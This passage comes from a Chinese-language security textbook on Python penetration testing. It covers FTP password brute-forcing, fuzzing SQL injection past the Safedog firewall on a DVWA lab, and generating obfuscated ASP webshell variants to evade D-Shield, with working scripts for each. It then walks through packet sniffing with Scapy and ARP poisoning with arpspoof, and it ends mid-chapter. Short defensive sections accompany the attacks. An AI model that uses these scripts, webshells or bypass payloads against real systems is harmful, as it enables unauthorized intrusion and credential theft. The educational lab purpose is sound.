
    # 给线程分配工作
    for sonUserBlock in blockUsername:
        for sonPwdBlock in blockPassword:
            work = ThreadWork(ip,sonUserBlock, sonPwdBlock,ftpPort)
            # 创建线程
            workThread = threading.Thread(target=work.start)
            # 在threads中加入线程
            threads.append(workThread)

    # 运行子线程
    for t in threads:
        t.start()
    # 阻塞主线程，等待所有子线程完成工作
    for t in threads:
        t.join()

5）编写分块函数，根据线程数把字典拆分成相应数量的子列表：

# 列表分块函数
def partition(list, num):
    # step为每个子列表的长度
    step = int(len(list) / num)
    # 若子列表不够除为0时,就把step设置为子线程数
    if step == 0:
        step = num
    partList = [list[i:i+step] for i in range(0,len(list),step)]
    return partList

6）编写main函数，主要涉及banner的显示、参数的设置、FTP破解函数的调用：

if __name__ == '__main__':

    print("\n#####################################")
    print("#         => MS08067 <=             #")
    print("#                                   #")
    print("#          ftp experiment           #")
    print("#####################################\n")
    parser = optparse.OptionParser('Example: python %prog -i 127.0.0.1
        -u ./username -p ./password -t 20 -P 21\n')

    parser.add_option('-i', '--ip', dest='targetIP',
                      default='127.0.0.1', type='string',
                      help='FTP Server IP')      # 添加FTP地址参数-i
    parser.add_option('-t', '--threads', dest='threadNum',
                      default=10, type='int',
                      help='Number of threads [default = 10]')  # 添加线程参数-t
    parser.add_option('-u', '--username', dest='userName',
                      default='./username', type='string',
                      help='username file')      # 添加用户名文件参数-u
    parser.add_option('-p', '--password', dest='passWord',
                      default='./passwords', type='string',
                      help='password file')     # 添加密码文件参数-p（小写）
    parser.add_option('-P', '--port', dest='port',
                      default='21', type='string',
                      help='FTP port')       # 添加FTP端口参数-P（大写）
    (options, args) = parser.parse_args()

    try:
        FTPExploit(options.targetIP,options.userName,options.passWord,
            options.threadNum,options.port)
    except:
        exit(1)

这里打开Slyar FTPserver工具，输入账户名称和账户密码，点击“启动服务”按钮，即可开启一个FTP服务，软件界面如图7-13所示。

图7-13　Slyar FTP界面

接着指定脚本参数，运行脚本如图7-14所示。

图7-14　脚本参数

破解成功后脚本会自动退出，并把结果写到result文件中，破解结果如图7-15所示。

图7-15　破解结果

7.4.2　防御策略

FTP服务被攻击的绝大多数原因是FTP账户的口令被破解，少部分是因为FTP软件自身以及配置的问题。对于FTP破解的防御手段也可以借鉴后台弱口令的防御策略，此外，这里补充几点：

·应禁止匿名登录。

·及时更新FTP软件，防止旧版本有漏洞。

·避免使用管理员权限来运行FTP服务。

7.5　小结

本章主要讲解了利用Python编写脚本来对密码进行破解。现阶段，用密码登录还是一个很常见的身份认证方式，如果网络服务使用的是弱口令，就相当于你把家门的钥匙放在家门口的垫子下面，这是非常危险的。

当个人信息泄露时，别有企图的人可以通过各种渠道查看到你的个人信息资料，并制作相应的密码字典对你进行攻击。如果攻击成功，那么很可能会造成很严重的后果。同样，你经常浏览的网站、使用的App等，都记录着你常用的密码。当这些网站或者App遭受攻击时，你的账户同样也处于危险之中，不法分子可以利用你的App密码去尝试登录你的邮箱、网银等。

笔者建议使用类似1Password这样的密码管理软件，可以很有效地帮助我们降低由于弱口令以及口令泄露带来的危害。

第8章
模糊测试

模糊测试（FUZZ）在渗透测试中应用广泛，可以用于硬件测试、软件测试、安全测试等，是一种高效的、能快速检查潜在安全威胁的技术。本章将介绍在安全测试中使用模糊测试的思路。

本章主要内容如下：

·模糊测试简介。

·用模糊测试方法绕过安全狗。

·模糊测试结合WebShell。

8.1　简介

FUZZ原本的意思是“茸毛”，在测试领域中，一般指代“模糊测试”。模糊测试的出现最早能追溯到1950年，那时的计算机数据主要保存在打孔卡片上，当计算机读取卡片中的数据进行计算时，如果碰到一些报废或者无效的卡片，相对应的计算机程序就可能产生错误或者崩溃。模糊测试是一种黑盒测试技术，通过向软件或应用发送大量随机的不可预期的数据，观察异常的结果来进行测试。

模糊测试的意思就是测试所用的数据例子是模糊不清、无法预期的，而计算机的本质是精密的科学和技术的组成，但是当我们编写软件的时候，考虑到的错误很可能是不完全的，由于人类脑力的限制，人们无法想到所有可能导致出错的异常数据输入，并且现今的操作系统中，中间件等组件越来越多，所对应的场景也更加多种多样，这些组合在一起形成的bug或漏洞，是单个开发人员或测试人员无法预知的。这时，采用不可预期的数据来测试就显得更加科学。下面我们通过案例来介绍模糊测试的思路与方法。

8.2　绕过安全狗

本节我们想要绕过的安全狗版本为v4.023957，它是网站安全狗的Apache版。

首先搭建环境。渗透环境选用DVWA漏洞集成环境，下载地址为http://www.dvwa.co.uk/。DVWA是一款集成的渗透测试演练环境，当刚刚入门并且找不到合适的靶机时，可以使用DVWA，它的搭建非常简便。如图8-1所示为DVWA的下载页面。

图8-1　下载DVWA

下载完的文件是一个个压缩包，因为DVWA是建立在PHP和MySQL上的Web漏洞测试环境，所以还需要一个由PHP和MySQL组成的Web服务才能正常运作。

通过下载网站环境phpStudy程序完成搭建，下载地址为https://www.xp.cn/。安装完成后访问127.0.0.1查看服务是否开启，如图8-2所示。

图8-2　访问页面

将DVWA的压缩包解压到phpStudy的www目录下。首先重置一下phpStudy的MySQL密码，如图8-3所示。

图8-3　重置密码

这里将密码设置为root。此时再找到DVWA目录下的配置文件，将DVWA/config下的config.inc.php.dist修改为config.inc.php。打开config.inc.php，将其中的数据库用户名和密码修改为正确的，如图8-4所示。

图8-4　修改配置文件

修改后保存。进入127.0.0.1/dvwa目录便可正常显示登录界面。DVWA的默认账户密码为admin/password。

接下来切换一下漏洞环境的难度。进入DVWA Security选项页面，将Impossible换成Low，点击Submit按钮，如图8-5所示。

图8-5　设置等级

最后安装安全狗，可从官网（http://free.safedog.cn/website_safedog.html）下载。选择Windows操作系统，Apache版4.0版本，按默认选项安装即可。

安装完成后，首先尝试一下没有开启安全狗时的正常注入返回。选择SQL Injection为SQL注入环境。在User ID框内输入1会正常返回数据，但输入“1’and‘1’”时会返回SQL错误语句。如下所示：

会出现这个错误是因为1后面的单引号被注入了本身正常的SQL查询语句中，导致SQL查询语句出现错误，并返回到页面中。这表示此处可能存在SQL注入点。在开启安全狗防护后执行一些SQL语句，便有不一样的返回，如图8-6所示。

这说明SQL注入语句已被安全狗检测出并且拦截掉了。下面我们就来编写一个简单的模糊测试绕安全狗脚本。

图8-6　安全狗拦截

首先抓取返回时安全狗页面的数据包和发送的数据，如果模糊测试发送数据后返回的不是安全狗的页面，则表明已经绕过了安全狗，如图8-7所示。

图8-7　抓包

依据抓包信息编写如下脚本，发送一个请求包，其中含有抓取到的cookie，因为这个页面是通过get传参的，所以模糊测试只需构造到URL中的参数进行测试即可。通过模糊测试后，判断返回的页面是否为安全狗拦截显示的页面，使用页面中返回的“攻击请求”进行判断，不存在这4个字，则表示已经绕过了安全狗：

import requests

#设置cookie
cookies = "security=low; PHPSESSID=6arlml0daogk8s5p23qgm2bvb4"
#设置协议头
headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2)
        AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84
        Safari/537.36",
    "Cookie": "security=low; PHPSESSID=6arlml0daogk8s5p23qgm2bvb4"
}
#循环FUZZ
for i in range(10000,15000):
    reture = "http://10.211.55.3/dvwa/vulnerabilities/sqli/?id=1%27%2F*
        %21" + str(i) + "and*%2F+%27a%27%3D%27a+--%2B&Submit=Submit"
    r = requests.get(reture, headers=headers).text
    key = "攻击请求"
    ss = r.find(key)
    if ss == -1 :
        print("fuzz is ok!url is :")
        print(reture)

模糊测试脚本运行出来的结果如下所示，这些链接都是已经能够绕过安全狗的。

绕过安全狗的效果如图8-8所示。

图8-8　绕过安全狗

这里提示已经成功绕过安全狗，完成注入。

8.3　绕过安全狗优化

8.2节中，我们已经完成模糊测试绕过安全狗脚本，其中仅仅对数字进行了模糊处理，如此已经能够产生许多绕过安全狗的方法，如果需要更多的绕过安全狗方法，可在此脚本的基础上进行修改，完善此脚本。

完善的思路是从脚本本身的参数值和ua值进行增加，比如在原有ua的基础上，列举多种ua进行迭代，然后对参数本身可以采用多重套用的方式：

def fuzzexp(url):
    fuzzing_x = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-',
        '+', '|', '%00']
    fuzzing_y = ['', ' ']
    fuzzing_z = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h",
        "%0i", "%0j"]
    fuzz = fuzzing_x + fuzzing_y + fuzzing_z
ua = UserAgent()
headers = ua.firefox
    for a in fuzz:
        for b in fuzz:
            for c in fuzz:
                for d in fuzz:
                    exp = "/*!" + a + b + c + d + "and*/'a'='a--+"

将fuzz的相关内联注释语句放入数组中：

fuzzing_x = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-',
    '+', '|', '%00']
    fuzzing_y = ['', ' ']
    fuzzing_z = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h",
        "%0i", "%0j"]
    fuzz = fuzzing_x + fuzzing_y + fuzzing_z

优化ua的随机化，可以使用fake-useragent实现：

ua = UserAgent()
headers = ua.firefox

将先前放入数组中的内联注释符号取出并拼接到一起：

for a in fuzz:
    for b in fuzz:
        for c in fuzz:
            for d in fuzz:
                exp = "/*!" + a + b + c + d + "and*/'a'='a--+"

如此便完成了脚本的基本优化，增加了更多的组合性，可以测试出更多绕过安全狗的脚本。通过多种联合注释符号组合来有效地绕过安全狗，发挥组合的优势，将更有可能成功。

常见的绕过安全狗的方式有4种：利用string绕过、利用user-agent绕过、利用MySQL语法和html的特殊性绕过、利用畸形数据包绕过。下面分别介绍。

1.利用string的绕过

C语言在使用string等结构存储请求时，当进行解码时，%00会被识别替换为NULL，这样便导致了请求包的内容会被在构造后截断。例如：

str=1%00%20and%20a=a

当后端的校验存储使用了string等结构后，上述请求会被解析截断为str=1，从而绕过监测。

2.利用user-agent绕过

在WAF应用程序进行防护的时候，一部分防护厂商会对某些user-agent进行特殊放行，例如百度爬虫的user-agent。测试时可以利用这部分特殊性绕过安全狗。

3.利用MySQL语法和HTML的特殊性绕过

利用MySQL的语法特性，“/*”和“*/”中间的内容将会被视为注释而不进行操作。例如，“9.0union”监测到参数为浮点数时语句结束，被当作空格执行。结合HTML的写法，如url编码后的%20表示空格等思路进行绕过。

4.畸形数据包绕过

利用Apache对于HTTP数据包的兼容性以及对防护软件的不兼容性来绕过WAF。

8.4　模糊测试结合WebShell

模糊测试的思路和技术在各个方向都可以运用，在WebShell中也可以通过模糊测试来进行测试。通过有效的模糊处理可以将WebShell中的特征消除，提升渗透过程中WebShell的可利用性。

首先我们写一个免杀绕过D盾的代码：

<%
a = request("value")
eval+a
%>

主要思路是将WebShell和参数传递变形来实现免杀。接下来要在此基础上对这个免杀WebShell进行加工，做成模糊测试的升级版。思路是这样的：在模糊测试点插入ASCII值为0～255的字符，以十进制数字命名，批量生成脚本。

1）导入需要用到的模块，此脚本只需用到os模块即可：

#!/usr/bin/env python
# coding:utf-8
import os

2）创造一个方法，用generate来加工先前的免杀一句话木马加工，在其中增加模糊的参数：

def generate(count):
    template = """
<%
a = request("value")
eval{0}a
%>""".format(chr(count))
    with open(os.path.join(path, "fuzz_{}.asp".format(count)), 'w') as f:
        f.write(template)

3）循环调用方法，遍历0～255的ASCII码，得到结果：

path = r"./fuzz/"

for c in range(0, 256):
    generate(c)

这样模糊测试的WebShell脚本就完成了。要测试具体哪些是可以使用的，则将此脚本生成的模糊测试文件放到Web目录下进行访问查看。批量访问查看接口的脚本如下：

import requests

for i in range(32,128):
    url = 'http://10.100.18.28/1/fuzz_{0}.asp'.format(i)
    body_post = {'value': 'value=response.write("attack")'}
    r = requests.post(url, data=body_post)
    content = r.text
    if 'attack' in content:
        print (url)
        print (content)

页面返回中带有attack，则代表WebShell是可用的。

这里使用的eval{0}a是属于固定点位的测试。除此之外，还有另一种有效的方法，就是不设置固定的fuzz插入位置，让它遍历所有的位置来生成模糊测试的WebShell。相信你会发现更多的绕过方法。

8.5　模糊测试工具

模糊测试的分类和应用范围十分广泛，这里仅仅介绍了运用模糊测试绕过安全狗的操作，但在开发工作中，模糊测试基本可以运用于所有测试环节，比如文件格式的模糊测试。

文件格式模糊测试是一种针对特别定义的目标应用的模糊测试方法。多数情况下，这些目标的应用是客户端应用，包括媒体播放器、Web浏览器、办公套件等，目标应用也可以是服务器中的程序，比如防病毒软件、网关、垃圾邮件过滤器、邮件服务程序等。文件模糊测试的终极目的是发现应用程序解析特定文件的缺陷。

2005～2006年，人们发现了许多文件格式解析漏洞，并且这种类型的错误并未消失殆尽，这让文件格式模糊测试成为一个非常有趣且热门的研究对象。

文件格式模糊测试和其他种类的模糊测试不一样。通常文件格式模糊测试在一台主机上就能完整地执行。当进行Web程序或者网络协议层模糊测试时，多数情况下可能需要至少准备两个系统，一个作为被测试的目标系统，一个作为模糊测试运行测试的系统。因为文件格式模糊测试在单独的一台机器上便可以完整地进行，所以文件格式模糊测试成为一种很具有吸引力的漏洞发现方法。

对于基于网络的模糊测试来说，在需要测试的目标网络应用中，何时发生了一个有趣的反馈是非常明显的，多数情况下，服务器将会关闭或者崩溃，并且将不能继续连接。但是对于文件格式模糊测试，主要是对客户端的应用进行模糊测试，模糊器将会继续重新开始运行并销毁前一个目标程序应用，因此便不能使用适用于网络模糊测试的监视机制，那么模糊器便可能无法识别出程序错误崩溃的情景。所以文件格式模糊测试是比网络模糊测试更加复杂的应用领域。对文件格式模糊测试而言，模糊器必须监视目标应用程序的每一次执行来发现异常，多数情况下，方法是使用调试库来动态监视目标应用程序中已经处理和并未处理的异常反馈。

8.5.1　XSS模糊测试工具XSStrike

XSStrike是一款检测XSS（Cross Site Scripting）漏洞的高级检测工具，集成了Payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效载荷并检查其工作，而是通过多个解析器分析响应，然后通过与模糊引擎集成的上下文分析来保证有效载荷。除此之外，XSStrike还具有爬行、模糊测试、参数发现、WAF检测功能，还会扫描DOM XSS漏洞。

XSStrike的特点如下：

·进行反射和DOM XSS扫描。

·多线程抓取。

·背景分析。

·可配置的核心。

·WAF检测和规避。

·浏览器引擎集成为零误报率。

·有智能负载发生器。

·有手工制作的HTML和JavaScript解析器。

·强大的模糊引擎。

·支持Blind XSS。

·完善的工作流程。

·完整的HTTP支持。

·来自文件的Bruteforce有效负载。

·有效载荷编码。

·Python编写。

图8-9　下载XSStrike

使用git命令即可下载安装XSStrike，如图8-9所示。

具体使用说明可以用-h参数进行查询，如图8-10所示。

图8-10　查看帮助

首先来测试一下工具的使用效果。在我们的Web主机上写一个含有XSS漏洞的页面，看工具能否扫描出来，如图8-11所示。

执行效果如图8-12所示。

图8-11　Web源码

图8-12　Web页面

接下来使用XSStrike进行扫描操作，-u指定扫描的URL路径，如图8-13所示。

可以看到，能够很快扫描出此处存在XSS漏洞，并且能通过模糊测试遍历出很多XSS语句。有兴趣的读者可以进一步分析一下这个工具的源码。

8.5.2　Sulley模糊测试框架

Sulley是一款模糊测试框架，由Pedram AMINI和Aaron Portnoy设计。

Sulley的主要功能如下：

·观察网络通信并系统地维护相关的记录。

·监视目标应用的状态，并且能够使用多种方法将其恢复到一个好的状态。

图8-13　使用XSStrike进行扫描

·将所发现的错误进行检测、跟踪和分类。

·并行地进行模糊测试，极大地提高了测试速度。

·能够自动地确定是哪个唯一的测试用例序列触发了错误。

·不需要人工干预就可以自动完成上述工作以及更多的工作。

在Windows 10系统下安装Sulley的步骤如下。

1）安装MinGW。打开下载链接（见公众号链接8-1）进行安装，结果如图8-14所示。

图8-14　安装MinGW

2）安装Python环境。打开下载链接（见公众号链接8-2）安装该环境。

3）安装git并设置环境变量。打开下载链接（见公众号链接8-3）并安装完成后，配置环境变量，如图8-15所示。

图8-15　配置环境变量

4）安装pydbg。输入下列命令下载pydbg：

git clone https://github.com/Fitblip/pydbg.git

下载完成后，进入下载目录，执行下列命令完成安装：

>>>python setup.py install

5）安装libdasm。打开下载链接（见公众号链接8-4）后，输入下列命令安装：

>>>python setup.py build_ext -c mingw32
>>>python setup.py install

6）验证Sulley。输入下列命令，下载Sulley：

git clone https://github.com/OpenRCE/sulley.git

下载完成后，进入下载目录，执行下列命令完成安装：

>>>python process_monitor.py

7）安装Pcapy。输入下列命令下载Pcapy：

>>>git clone https://github.com/CoreSecurity/pcapy.git;
http://www.winpcap.org/install/bin/WpdPack_4_1_2.zip

下载完成后，进入Pcapy下载目录，执行下列命令进行安装：

>>>python setup.py build_ext -c mingw32 -I "C:\sulley\WpdPack\Include" -L
    "C:\sulley\WpdPack\Lib"
>>>python setup.py install

8）安装WinPcap。打开下载链接（见公众号链接8-5）下载并安装。

9）安装Impacket。输入下列命令下载Impacket：

git clone https://github.com/CoreSecurity/impacket.git

下载完成后，进入下载目录，执行下列命令进行安装：

>>>python setup.py install

10）运行network_monitor.py。

进入C：\Sulley\sulley目录执行下列命令，结果如图8-16所示。

>>>python network_monitor.py

图8-16　命令执行结果

8.6　防御策略

模糊测试的攻击方式主要是大量试错、尝试，然后通过监控返回值或监控状态来发现可能存在的问题。所以模糊测试的防御可以通过两个方式进行，一种是限制某项功能的试错次数和频率，另一种是通过统一的返回值或信息返回来误导攻击者。另外对于模糊测试也可以使用模糊测试的思路去进行防御，通过模糊测试去限制模糊测试。

8.7　小结

模糊测试包含两部分内容：一部分是模糊，一部分是测试。很多人以为模糊数据就是模糊测试的全部，以为随机生成的数据就是FUZZ，但其实测试才是模糊测试的核心。通过将模糊的大量数据填充到程序或系统中来测试出现的异常，并且有效地捕获和分析出这些异常所包含的意义才是模糊测试的目的。在对一个大型项目进行模糊测试时，可以将项目分为小的单元，分步、分层地进行测试。被测试数据的格式越是复杂，程序在解析时就越容易出错，但是纯粹的随机化数据并没有什么意义。FUZZ是渗透过程中一种很有效又很复杂的技术，同时也是一种思路。善于利用FUZZ的思路将会挖掘到一些更有效的漏洞。

第9章
流量分析

随着社会越来越信息化，网络已经成为人们生活中的重要部分。在网络迅猛发展的同时，产生的数据量也越来越大，如何有效地对这些数据进行处理分析，以及使用分析结果对公司的生产实践进行指导，已经成为当前的热点话题。在公司网络环境中，经常存在局域网络滥用公司带宽、网络攻击溯源困难等情况。如果能对网络中的流量数据进行记录、分析、总结用户行为特征，那么局域网络的管理者就可以根据这些结果进行有效的管理，合理地配置网络资源，有效地定位IP流量的地理位置，发现伪装网络扫描等。本章将带领大家一起学习如何通过Python脚本获取网络中的流量数据并进行有效分析。

本章主要内容包括：

·流量嗅探原理。

·流量嗅探工具的编写。

·ARP毒化原理。

·ARP毒化工具的编写以及防御策略。

·拒绝服务攻击及防御策略。

9.1　流量嗅探

不少人存在这样的观点：只要计算机安装各种专业的安全软件，系统及时更新补丁，密码尽可能复杂，那么计算机就会避免遭到入侵。当然这样的确不容易被入侵，但那也只是针对传统的病毒、木马而言，在流量攻击面前，这些防护就会显得无能为力。无论如何，当你与其他设备进行通信时就会产生流量，当这些流量脱离了你的计算机后，其安全就不能得到有效的保障，然而这些流量中却包含着你的敏感数据，攻击者完全可以在不入侵你计算机的情况下获得你的敏感数据，这个过程叫流量嗅探。

9.1.1　工作原理

互联网中的流量都是以数据包的形式传送的，流量嗅探是对数据包中的流量进行数据分析的一种手段。通过网络嗅探工具可以捕获到目标计算机网络的数据包，数据包中的数据是根据所采用协议的要求来组织的，只要能够掌握协议的格式，就能够分析出这些数据所表示的意义。

图9-1　HTTP数据包

互联网中的大部分数据都没有采用加密的方式进行传输。例如，我们经常接触的HTTP、FTP、Telnet等协议所传输的数据都是明文传输的，如图9-1～图9-3所示。这也就意味着，一旦攻击者捕获了数据包，并用协议分析软件对数据包进行分析，那么就可以截获这些数据。

图9-2　FTP数据包

图9-3　TELNET数据包

早期的局域网（LAN）是由集线器（HUB）构建的。因为HUB不具备交换机的MAC地址表，所以它用广播的方式来发送数据。也就是说，HUB发送的数据，局域网内的每台计算机都是能接收到的。如果把网络接口设置成“混杂”模式，就可以实现不管是不是我的数据，我照单全收的情况，从而可以窃取到他人的流量数据。

交换机的出现逐渐淘汰了HUB。交换机会绑定MAC地址和接口，数据包最终只发往一个终端主机，不会出现HUB的广播式方法数据。如果事先配置MAC地址与对应的接口，理论上非常安全。但是很多人为了偷懒，直接使用了设备默认的模式“自动学习”，使得交换机成了非常容易被欺骗的对象。攻击者只要伪造一个源MAC地址数据包，就能将这个地址的流量关联到自己的接口上，以此获得他人的流量数据。

9.1.2　工具编写

9.1.1节我们介绍了流量嗅探的原理，本节我们使用Scapy模块来编写一个流量嗅探工具来嗅探本机网卡上的流量。本次工具的编写需要使用到Scapy中的sniff（）函数，该函数提供了多个参数，下面我们先了解其中几个比较重要的参数的含义：

·iface：指定在哪个网络接口上抓包。

·count：表示要捕获数据包的数量。默认值为0，表示不限制数量。

·filter：流量的过滤规则。使用的是BPF（Berkeley Packet Filter，柏克莱封包过滤器）的语法。

·prn：定义回调函数，通常使用lambda表达式来写回调函数。当符合filter的流量被捕获时，就会执行回调函数。

其中filter是最常用的参数。因为如果直接使用sniff（）函数，会捕获到大量的流量数据，如果不进行过滤，我们很难从里面找到需要的数据库。filter采用的是BPF，利用它来匹配符合我们要求的流量并进行捕获。

BPF的过滤规则（表达式）由一个或多个原语组成。每个原语通常由一个标识（ID、名称或数字）和一个或多个限定词组成。

表达式主要有以下三种限定词：

·Type：类型限定词，指明ID或数字所代表的含义，例如host、net和port等，若不指定，则默认为host。

·Dir：方向限定词，指明数据包的传输方向，例如src、dst、src、dst等。

·Proto：协议限定词，限定所要匹配的协议，例如tcp、udp、ip、arp等。

表达式还可以使用逻辑运算符对原语进行组合，从而创建出更高级的表达式，逻辑运算符主要有以下三种：

·&&：连接运算符。

·||：选择运算符。

·！：否定运算符。

下面举几个常见用例，帮助读者理解BPF语法：

·只捕获与网络中某一IP的主机进行交互的流量：host 192.168.10.1。

·只捕获与网络中某一MAC地址的主机的交互流量：ether src host 00：88：ca：86：f8：od。

·只捕获来源于网络中某一IP的主机流量：src host 192.168.10.1。

·只捕获去往网站中某一IP的主机的流量：dst host 192.168.10.1。

·只捕获80端口的流量：port 80。

·只捕获除80端口以外的其他端口的流量：！port 80。

·只捕获ICMP流量：ICMP。

·只捕获源地址为192.168.10.1且目的端口为80的流量：src host 192.168.10.1&&dst port 80。

下面使用sniff（）来进行数据包的捕获。例如，我们捕获目的地址为112.80.248.76的流量，如下所示：

这时Scapy就已经在开始捕获符合filter表达式的数据包，但是这个时候捕获到数据是不会实时显示出来的，只有取消捕获时才会出现结果，如下所示：

如果想要实时显示捕获到的数据包，就要加上prn选项，这里prn的内容我们用lambda表达式来编写，具体内容为prn=lambda x：x.summary（），如下所示：

也可以进一步细化打印的内容。我们更改一下lambda表达式，让sniff（）打印出源IP和目的IP，如下所示：

如果需要更翔实的输出，则会需要更多的代码，那么sniff（）语句整体就会很冗长。我们可以定义一个回调函数，然后让prn调用即可。定义一个CallBack（）函数，代码如下：

def CallBack(packet):
# 打印源地址和目标地址
      print("Source:%s--->Target:%s"%(packet[IP].src,packet[IP].dst))
      # 打印TTL值
      print("TTL:%s"%packet[IP].ttl)
      # 使用内置函数show()打印数据包的内容
      print(packet.show())

效果如下所示：

除了显示这些数据包，我们还可以将这些数据包保存，用专业的工具查看、分析这些数据包。保存数据包的格式有很多种，目前最为通用的格式为pcap。可以借助wrpcap（）函数进行数据包的保存：

packet=sniff(filter="dst 112.80.248.76", count=4)wrpcap("ms08067.pcap",
    packet)

同样，我们先通过sniff（）进行捕获数据包，同时我们在增加一个count选项，表明我们需要捕获数据包的数量，当捕获到规定数量的数据包时，sniff就停止捕获。如下所示：

然后可以调用Wireshark来查看这些数据包。如图9-4所示。

图9-4　使用Wireshark查看数据包

接下来，我们编写一个网络嗅探工具，根据用户传入的IP地址、数据包总数来捕获相应的数据包，并保存为pcap格式。具体步骤如下：

1）导入相关模块并编写回调的打印函数，函数会打印输出源IP、源端口、目标IP、目的端口以及整个数据包的信息。

2）编写一个时间戳转换函数，根据数据包内的时间戳进行转换输出，标明该数据包的时间：

#!/usr/bin/python3
# -*- coding: utf-8 -*-

from scapy.all import *
import time
import optparse

# 回调打印函数
def PackCallBack(packet):
    print("*"*30)
    # 打印源IP、源端口、目的IP、目的端口

    print("[%s]Source:%s:%s--->Target:%s:%s"%(TimeStamp2Time(packet.time),
        packet[IP].src,packet.sport,packet[IP].dst,packet.dport))
    # print("[%s]Source:%s:%s--->Target:%s:%s"%(packet.time, packet[IP].
        src, 4444, packet[IP].dst, 5555))
    # 打印输出数据包
    print(packet.show())
    print("*"*30)
# 时间戳转换函数
def TimeStamp2Time(timeStamp):
    timeTmp = time.localtime(timeStamp)
    myTime = time.strftime("%Y-%m-%d %H:%M:%S", timeTmp)
return myTime

3）编写main函数，进行参数的定义以及流量数据的保存：

if __name__ == '__main__':
    parser = optparse.OptionParser("Example:python %prog -i 127.0.0.1 -c 5
        -o ms08067.pcap\n")
    #添加IP参数 -i
    parser.add_option('-i', '--IP', dest='hostIP',
                     default="127.0.0.1", type='string',
                     help='IP address [default = 127.0.0.1]')
    #添加数据包总数参数-c
    parser.add_option('-c', '--count', dest='packetCount',
                     default=5, type='int',
                     help='Packet count [default = 5]')
    #添加保存文件名参数-o
    parser.add_option('-o', '--output', dest='fileName',
                     default="ms08067.pcap", type='string',
                     help='save filename [default = ms08067.pcap]')
    (options, args) = parser.parse_args()
    defFilter = "dst " + options.hostIP
    packets = sniff(filter=defFilter, prn=PackCallBack, count=options.
        packetCount)
    # 保存输出文件
    wrpcap(options.fileName, packets)

监听网络接口需要root权限，普通用户需要在命令前加上sudo，否则会出现错误，如下所示：

开启两个终端，一个终端进行监听，另一个终端使用curl命令，如下所示：

抓包效果如下所示：

此时，目录下会多出一个ms08067.pcap文件，我们用Wireshark打开查看，如图9-5所示。

图9-5　用Wireshark查看数据包

9.2　ARP毒化

ARP毒化虽然是一种比较老的渗透测试技术，但是在信息搜集方面能发挥出很不错的效果。通过ARP毒化技术分析并提取内网流量中的敏感信息，往往会有许多意外的“收获”。

9.2.1　工作原理

ARP（地址解析协议）是数据链路层的协议，主要负责根据网络层地址（IP）来获取数据链路层地址（MAC）。

以太网协议规定，同一局域网中的一台主机要和另一台主机进行直接通信，必须知道目标主机的MAC地址。而在TCP/IP中，网络层只关注目标主机的IP地址，这就导致在以太网中使用IP协议时，数据链路层的以太网协议接收到网络层的IP协议提供的数据中，只包含目的主机的IP地址，于是需要ARP来完成IP地址到MAC地址的转换。

假设我们当前的以太网结构如图9-6所示。

图9-6　以太网结构

在上述以太网结构中，假设PC1想与PC3通信。

1）PC1知道PC3的IP地址为192.168.1.3，然后PC1会检查自己的APR缓存表中该IP是否有对应的MAC地址。

2）如果有，则进行通信。如果没有，PC1就会使用以太网广播包来给网络上的每一台主机发送ARP请求，询问192.168.1.3的MAC地址。ARP请求中同时也包含了PC1的IP地址和MAC地址。以太网内的所有主机都会接收到ARP请求，并检查是否与自己的IP地址匹配。如果不匹配，则不响应该ARP请求。

3）PC3确定ARP请求中的IP地址与自己的IP地址匹配，则将ARP请求中PC1的IP地址和MAC地址添加到本地ARP缓存中。

4）PC3将自己的MAC地址发送给PC1。

5）PC1收到PC3的ARP响应时，将PC3的IP地址和MAC地址都更新到本地ARP缓存表中。

本地ARP缓存表是有生存周期的，生存期结束后，将再次重复上面的过程。

ARP带来便利的同时也存在着一个重大缺陷：ARP是建立在网络中各个主机互相信任的基础上的，主机接收到ARP应答报文时不会检测该报文的真实性，而直接将报文中的IP和MAC记入其ARP缓存表。如果ARP缓存表中有相同的地址项，则会对其进行更新。由此，攻击者可以向受害主机发送伪ARP应答包，毒化受害主机的ARP缓存表。

假设PC3为攻击者，PC4为受害主机。开始ARP毒化时，PC3会给PC4发送ARP应答包说“我就是网关”，同时也会给网关发送ARP应答包说“我就是PC4”。由于ARP的缺陷，PC4和网关都会认为这个应答包是真的。这样PC3就完成了PC4和网关的双向ARP毒化。毒化的通信过程如图9-7所示。

图9-7　ARP毒化后的通信过程

PC4的流量都会经过PC3转发到网关，网关的流量都要通过PC3转发到PC4。这样PC3就可以对PC4的数据进行窃听。

我们通过Kali中的arpspoof工具进行实例演示，让读者能更深入地了解ARP毒化的原理。通过arp-a查看受害主机的ARP缓存表，其中192.168.61.2为网关地址，192.168.61.130为Kali地址，如下所示：

现在我们通过Kali的arpspoof进行毒化。这个工具的命令格式为：

arpspoof [-i 指定网卡] [-t 受害主机的IP] [-r 伪装的主机IP]

因为要对受害主机和网关同时进行毒化，所以需要两个终端同时进行，如图9-8和图9-9所示。

图9-8　对受害主机进行毒化

图9-9　对网关进行毒化

这时我们查看受害主机的ARP缓存表，如下所示：

通过对比可以看到，网关的MAC地址跟Kali的MAC地址是一样的。因为受害主机的数据包不会转发给网关而是转发给Kali，这样会导致受害主机无法正常上网，所以还需要在Kali上进行路由转发。输入以下命令即可开启路由转发功能：

ms08067@kali:~$ echo 1 >> /proc/sys/net/ipv4/ip_forward

这个时候我们可以使用9.1节开发的流量嗅探工具对受害主机的流量进行捕获。这里我们拿百度做一个简单的例子，先获取百度其中一个IP地址，如下所示：

在Kali中使用9.1节的脚本对百度的IP地址进行流量捕获，如下所示：

然后在受害机上查询一下MS08067实验室的官方网站，如图9-10所示。

图9-10　受害主机进行访问

在我们的终端上就能显示受害主机的流量数据，如图9-11所示。

在图9-11中能看到受害主机访问的URL地址是多少，同样可以捕获受害主机更多的数据，并保存为pcap文件，放入Wireshark进行分析，从中提取敏感数据。

图9-11　捕获流量

9.2.2　工具编写

9.2.1节介绍了ARP毒化的原理，下面我们将编写一个ARP毒化脚本，来完成目标主机和网关之间的双向毒化。具体步骤如下：

1）写入脚本信息和相关模块，同时还要定义存放本机IP和MAC的信息变量，以及一个存放内网存活主机的信息的变量：

#!/usr/bin/python3
# -*- coding: utf-8 -*-

from scapy.all import *
import re
import time
import sys
import os
import optparse

